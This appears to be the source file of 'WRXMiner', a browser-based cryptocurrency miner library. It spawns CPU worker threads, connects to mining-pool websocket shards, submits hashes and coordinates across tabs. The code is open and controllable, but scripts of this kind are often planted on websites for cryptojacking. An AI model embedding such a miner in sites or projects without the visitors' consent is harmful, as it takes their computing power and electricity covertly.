368 lines
10 KiB
JavaScript
368 lines
10 KiB
JavaScript
// miner/src/js/miner.js
|
|
import Job from './job'
|
|
import MineWorker from './mine-worker'
|
|
|
|
class Miner {
|
|
constructor (user, options) {
|
|
options = options || {}
|
|
this._user = user
|
|
this._threads = []
|
|
this._hashes = 0
|
|
this._currentJob = null
|
|
this._autoReconnect = true
|
|
this._reconnectRetry = 3
|
|
this._totalHashesFromDeadThreads = 0
|
|
this._throttle = Math.max(0, Math.min(.99, options.throttle || 0))
|
|
this._autoThreads = {
|
|
enabled: !!options.autoThreads,
|
|
interval: null,
|
|
adjustAt: null,
|
|
adjustEvery: 1e4,
|
|
stats: {}
|
|
}
|
|
this._tab = {
|
|
ident: 16777215 * Math.random() | 0,
|
|
mode: Job.IF_EXCLUSIVE_TAB,
|
|
grace: 0,
|
|
lastPingReceived: 0,
|
|
interval: null
|
|
}
|
|
if (window.BroadcastChannel) try {
|
|
this._bc = new BroadcastChannel('wrxminer')
|
|
this._bc.onmessage = function (response) {
|
|
if (response.data === 'ping') {
|
|
this._tab.lastPingReceived = Date.now()
|
|
}
|
|
}.bind(this)
|
|
} catch (error) {}
|
|
this._eventListeners = {
|
|
open: [],
|
|
authed: [],
|
|
close: [],
|
|
error: [],
|
|
job: [],
|
|
found: [],
|
|
accepted: []
|
|
}
|
|
const concurrency = navigator.hardwareConcurrency || 4
|
|
this._targetNumThreads = options.threads || concurrency
|
|
this._onTargetMetBound = this._onTargetMet.bind(this)
|
|
}
|
|
|
|
start (mode) {
|
|
this._tab.mode = mode || Job.IF_EXCLUSIVE_TAB
|
|
if (this._tab.interval) {
|
|
clearInterval(this._tab.interval)
|
|
this._tab.interval = null
|
|
}
|
|
this._startNow()
|
|
}
|
|
|
|
stop (message) {
|
|
for (let i = 0; i < this._threads.length; ++i) {
|
|
this._totalHashesFromDeadThreads += this._threads[i].hashesTotal
|
|
this._threads[i].stop()
|
|
}
|
|
this._threads = []
|
|
this._autoReconnect = false
|
|
this._currentJob = null
|
|
if (this._socket) {
|
|
this._socket.close()
|
|
}
|
|
if (this._autoThreads.interval) {
|
|
clearInterval(this._autoThreads.interval)
|
|
this._autoThreads.interval = null
|
|
}
|
|
if (this._tab.interval && message !== 'dontKillTabUpdate') {
|
|
clearInterval(this._tab.interval)
|
|
this._tab.interval = null
|
|
}
|
|
}
|
|
|
|
getHashesPerSecond () {
|
|
let sum = 0
|
|
for (let i = 0; i < this._threads.length; ++i)
|
|
sum += this._threads[i].hashesPerSecond
|
|
return sum
|
|
}
|
|
|
|
getTotalHashes () {
|
|
let currentTimestamp = Date.now(),
|
|
sum = this._totalHashesFromDeadThreads
|
|
for (let i = 0; i < this._threads.length; ++i) {
|
|
let thread = this._threads[i]
|
|
sum += thread.hashesTotal
|
|
}
|
|
return 0 | sum
|
|
}
|
|
|
|
getAcceptedHashes () {
|
|
return this._hashes
|
|
}
|
|
|
|
on (event, callback) {
|
|
if (this._eventListeners[event]) {
|
|
this._eventListeners[event].push(callback)
|
|
}
|
|
}
|
|
|
|
getAutoThreadsEnabled () {
|
|
return this._autoThreads.enabled
|
|
}
|
|
|
|
setAutoThreadsEnabled (enabled) {
|
|
this._autoThreads.enabled = !!enabled
|
|
if (!enabled && this._autoThreads.interval) {
|
|
clearInterval(this._autoThreads.interval)
|
|
this._autoThreads.interval = null
|
|
} else if (enabled && !this._autoThreads.interval) {
|
|
this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery
|
|
this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 1e3)
|
|
}
|
|
}
|
|
|
|
getThrottle () {
|
|
return this._throttle
|
|
}
|
|
|
|
setThrottle (throttle) {
|
|
this._throttle = Math.max(0, Math.min(.99, throttle))
|
|
if (this._currentJob) {
|
|
this._setJob(this._currentJob)
|
|
}
|
|
}
|
|
|
|
getNumThreads () {
|
|
return this._threads.length
|
|
}
|
|
|
|
setNumThreads (numThreads) {
|
|
numThreads = Math.max(1, 0 | numThreads)
|
|
if ((this._targetNumThreads = numThreads) > this._threads.length) {
|
|
while (numThreads > this._threads.length) {
|
|
let t = new MineWorker
|
|
if (this._currentJob) {
|
|
t.setJob(this._currentJob, this._onTargetMetBound)
|
|
}
|
|
this._threads.push(t)
|
|
}
|
|
} else if (numThreads < this._threads.length) {
|
|
while (numThreads < this._threads.length) {
|
|
let t = this._threads.pop()
|
|
this._totalHashesFromDeadThreads += t.hashesTotal
|
|
t.stop()
|
|
}
|
|
}
|
|
}
|
|
|
|
isRunning () {
|
|
// return 0 < this._threads.length
|
|
if (!this._socket) {
|
|
return false
|
|
}
|
|
if (this._socket.readyState == WebSocket.CLOSED || this._socket.readyState == WebSocket.CLOSING) {
|
|
return false
|
|
}
|
|
return true
|
|
}
|
|
|
|
_startNow () {
|
|
if (this._tab.mode !== Job.FORCE_MULTI_TAB && !this._tab.interval) {
|
|
this._tab.interval = setInterval(this._updateTabs.bind(this), 1e3)
|
|
}
|
|
if (this._tab.mode !== Job.IF_EXCLUSIVE_TAB || !this._otherTabRunning()) {
|
|
if (this._tab.mode === Job.FORCE_EXCLUSIVE_TAB) {
|
|
this._tab.grace = Date.now() + 3e3
|
|
}
|
|
this.setNumThreads(this._targetNumThreads)
|
|
this._autoReconnect = true
|
|
this._connect()
|
|
}
|
|
}
|
|
|
|
_otherTabRunning () {
|
|
if (this._tab.lastPingReceived > Date.now() - 1500) {
|
|
return true
|
|
}
|
|
try {
|
|
let currentMiner = localStorage.getItem('wrxminer')
|
|
if (currentMiner) {
|
|
const t = JSON.parse(currentMiner)
|
|
if (t.ident !== this._tab.ident && Date.now() - t.time < 1500) {
|
|
return true
|
|
}
|
|
}
|
|
} catch (error) {}
|
|
return false
|
|
}
|
|
|
|
_updateTabs () {
|
|
const flag = this._otherTabRunning()
|
|
if (flag && this.isRunning() && Date.now() > this._tab.grace) {
|
|
this.stop('dontKillTabUpdate')
|
|
} else if (!flag && !this.isRunning()) {
|
|
this._startNow()
|
|
}
|
|
if (this.isRunning()) {
|
|
if (this._bc) {
|
|
this._bc.postMessage('ping')
|
|
}
|
|
try {
|
|
localStorage.setItem('wrxminer', JSON.stringify({
|
|
ident: this._tab.ident,
|
|
time: Date.now()
|
|
}))
|
|
} catch (error) {}
|
|
}
|
|
}
|
|
|
|
_adjustThreads () {
|
|
const hashPerSecond = this.getHashesPerSecond(), numThreads = this.getNumThreads()
|
|
let threadStats = this._autoThreads.stats
|
|
threadStats[numThreads] = threadStats[numThreads] ? .5 * threadStats[numThreads] + .5 * hashPerSecond : hashPerSecond
|
|
if (Date.now() > this._autoThreads.adjustAt) {
|
|
this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery
|
|
const cur = (threadStats[numThreads] || 0) - 1,
|
|
next = threadStats[numThreads + 1] || 0,
|
|
prev = threadStats[numThreads - 1] || 0
|
|
if (prev < cur && (0 === next || cur < next) && numThreads < 16) return this.setNumThreads(numThreads + 1)
|
|
if (next < cur && (!prev || cur < prev) && 1 < numThreads) return this.setNumThreads(numThreads - 1)
|
|
}
|
|
}
|
|
|
|
_emit (event, params) {
|
|
const listeners = this._eventListeners[event]
|
|
if (listeners && listeners.length) {
|
|
for (let i = 0; i < listeners.length; ++i) {
|
|
listeners[i](params)
|
|
}
|
|
}
|
|
}
|
|
|
|
// djb2 hash
|
|
// http://www.cse.yorku.ca/~oz/hash.html
|
|
_hashString (str) {
|
|
let hash = 5381, l = str.length
|
|
while (l) {
|
|
hash = 33 * hash ^ str.charCodeAt(--l)
|
|
}
|
|
return hash >>> 0
|
|
}
|
|
|
|
_connect () {
|
|
if (!this._socket) {
|
|
const shards = Job.CONFIG.WEBSOCKET_SHARDS
|
|
let index = Math.floor(Math.random() * shards.length)
|
|
const shard = shards[index]
|
|
const url = shard[Math.random() * shard.length | 0]
|
|
this._socket = new WebSocket(url)
|
|
this._socket.onmessage = this._onMessage.bind(this)
|
|
this._socket.onerror = this._onError.bind(this)
|
|
this._socket.onclose = this._onClose.bind(this)
|
|
this._socket.onopen = this._onOpen.bind(this)
|
|
}
|
|
}
|
|
|
|
_onOpen () {
|
|
this._emit('open')
|
|
let data = {
|
|
type: this._user ? 'user' : 'anonymous',
|
|
user: this._user ? this._user.toString() : null
|
|
}
|
|
this._send('auth', data)
|
|
}
|
|
|
|
_onClose (response) {
|
|
// https://github.com/Luka967/websocket-close-codes
|
|
if (response.code >= 1003 && response.code <= 1009) {
|
|
this._reconnectRetry = 60
|
|
}
|
|
for (let i = 0; i < this._threads.length; ++i) {
|
|
this._threads[i].stop()
|
|
}
|
|
this._threads = []
|
|
this._socket = null
|
|
this._emit('close')
|
|
if (this._autoReconnect) {
|
|
setTimeout(this._startNow.bind(this), 1e3 * this._reconnectRetry)
|
|
}
|
|
}
|
|
|
|
_onMessage (response) {
|
|
const data = JSON.parse(response.data)
|
|
switch(data.type) {
|
|
case 'job':
|
|
this._setJob(data.params)
|
|
this._emit('job', data.params)
|
|
if (this._autoThreads.enabled && !this._autoThreads.interval) {
|
|
this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery
|
|
this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 1e3)
|
|
}
|
|
break
|
|
case 'hash_accepted':
|
|
this._hashes = data.params.hashes
|
|
this._emit('accepted', data.params)
|
|
break
|
|
case 'authed':
|
|
this._hashes = data.params.hashes || 0
|
|
this._emit('authed', data.params)
|
|
this._reconnectRetry = 3
|
|
break
|
|
case 'error':
|
|
if (console && console.error) {
|
|
console.error('WRXMiner Error:', data.params.error)
|
|
}
|
|
this._emit('error', data.params)
|
|
break
|
|
case 'banned':
|
|
this._emit('error', {
|
|
banned: true
|
|
})
|
|
this._reconnectRetry = 600
|
|
break
|
|
default:
|
|
break
|
|
}
|
|
}
|
|
|
|
_onError (response) {
|
|
this._emit('error', {
|
|
error: 'connection_error'
|
|
})
|
|
this._onClose(response)
|
|
}
|
|
|
|
_onTargetMet (job) {
|
|
this._emit('found', job)
|
|
if (job.job_id === this._currentJob.job_id) {
|
|
this._send('submit', {
|
|
job_id: job.job_id,
|
|
nonce: job.nonce,
|
|
result: job.result
|
|
})
|
|
}
|
|
}
|
|
|
|
_send (type, params) {
|
|
if (this._socket) {
|
|
const data = {
|
|
type: type,
|
|
params: params || {}
|
|
}
|
|
this._socket.send(JSON.stringify(data))
|
|
}
|
|
}
|
|
|
|
_setJob (job) {
|
|
this._currentJob = job
|
|
this._currentJob.throttle = this._throttle
|
|
for (let i = 0; i < this._threads.length; ++i) {
|
|
this._threads[i].setJob(job, this._onTargetMetBound)
|
|
}
|
|
}
|
|
}
|
|
|
|
export {
|
|
Miner as default
|
|
}
|